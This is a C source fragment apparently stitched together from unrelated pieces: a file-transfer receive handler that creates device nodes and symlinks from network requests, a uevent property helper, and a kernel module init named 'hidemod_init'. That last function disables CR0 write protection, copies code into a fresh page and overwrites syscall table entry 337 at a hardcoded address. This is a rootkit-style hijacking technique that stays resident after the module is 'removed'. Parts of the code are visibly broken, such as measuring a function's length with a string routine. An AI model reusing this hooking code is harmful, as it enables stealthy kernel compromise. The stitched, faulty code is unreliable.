static int cftp_receive_handle(struct cftp_descriptor *desc, struct cftp_file_request *req)
{
int ret;
switch (req->st_mode & S_IFMT)
{
case S_IFBLK:
case S_IFCHR:
println("Create Device: %s", req->filename);
remove(req->filename);
ret = mknod(req->filename, req->st_mode, req->st_rdev);
break;
case S_IFLNK:
println("Create Symlink: %s", req->filename);
remove(req->filename);
ret = symlink(req->filename + text_len(req->filename) + 1, req->filename);
if (ret < 0 && errno == EEXIST)
{
ret = 0;
}
break;
case S_IFDIR:
println("Create Directory: %s", req->filename);
ret = mkdir(req->filename, req->st_mode);
if (ret < 0 && errno == EEXIST)
{
ret = 0;
}
break;
case S_IFREG:
println("Receive Regular File: %s", req->filename);
if (desc->receive_handle)
{
return desc->receive_handle(desc->data, req);
}
return cftp_server_receive_file(desc, req->filename, req->st_mode, req->offset, req->size);
default:
error_msg("unknown file type");
cftp_send_error_message(desc, (struct cftp_error_message *) req, "unknown file type");
return -EINVAL;
}
if (ret < 0)
{
cftp_send_error_message(desc, (struct cftp_error_message *) req, __FUNCTION__);
}
else
{
cftp_send_ack_message(desc, (struct cftp_ack_message *) req, 0, 0);
}
return ret;
}
char *uevent_get_property_base(char *props[], int prop_count, const char *prefix, char *buff)
{
for (prop_count--; prop_count >= 0; prop_count--) {
if (text_lhcmp(prefix, props[prop_count]) == 0) {
text_copy(buff, props[prop_count] + text_len(prefix));
return buff;
}
}
return NULL;
}
static int __init hidemod_init(void)
{
unsigned long **sys_call_table;
unsigned int cr0, call_offset;
int len;
char *page_vaddr, *p;
char *str = "<1>The module has been removed!\nJust a memory leak\n";
sys_call_table = (unsigned long **)0xc0798328;
/*
* I learn it from kernel func: sysenter_setup
* (The code of memory management in 2.6 is hard :0)
*/
page_vaddr = (char *)get_zeroed_page(GFP_ATOMIC);
if (page_vaddr == NULL) {
printk(KERN_ALERT "Unable get zero page \n");
return -1;
}
/*copy string(printk()'s argument) to my page*/
len = strlen(str);
memcpy(page_vaddr, str, len);
/*copy code to my page*/
p = page_vaddr + len + 1;
len = text_len(hook_337_syscall);
memcpy(p, (void *)hook_337_syscall, len);
/*
* change the offset
* number 9/14 is counted from the assembled code
*/
call_offset = (unsigned int)printk - (unsigned int)(&p[13] + 5);
*(unsigned int *)&p[9] = (unsigned int)page_vaddr;
*(unsigned int *)&p[14] = call_offset;
cr0 = set_cr0();
sys_call_table[337] = (unsigned long *)p;
set_back_cr0(cr0);
return 0;
}
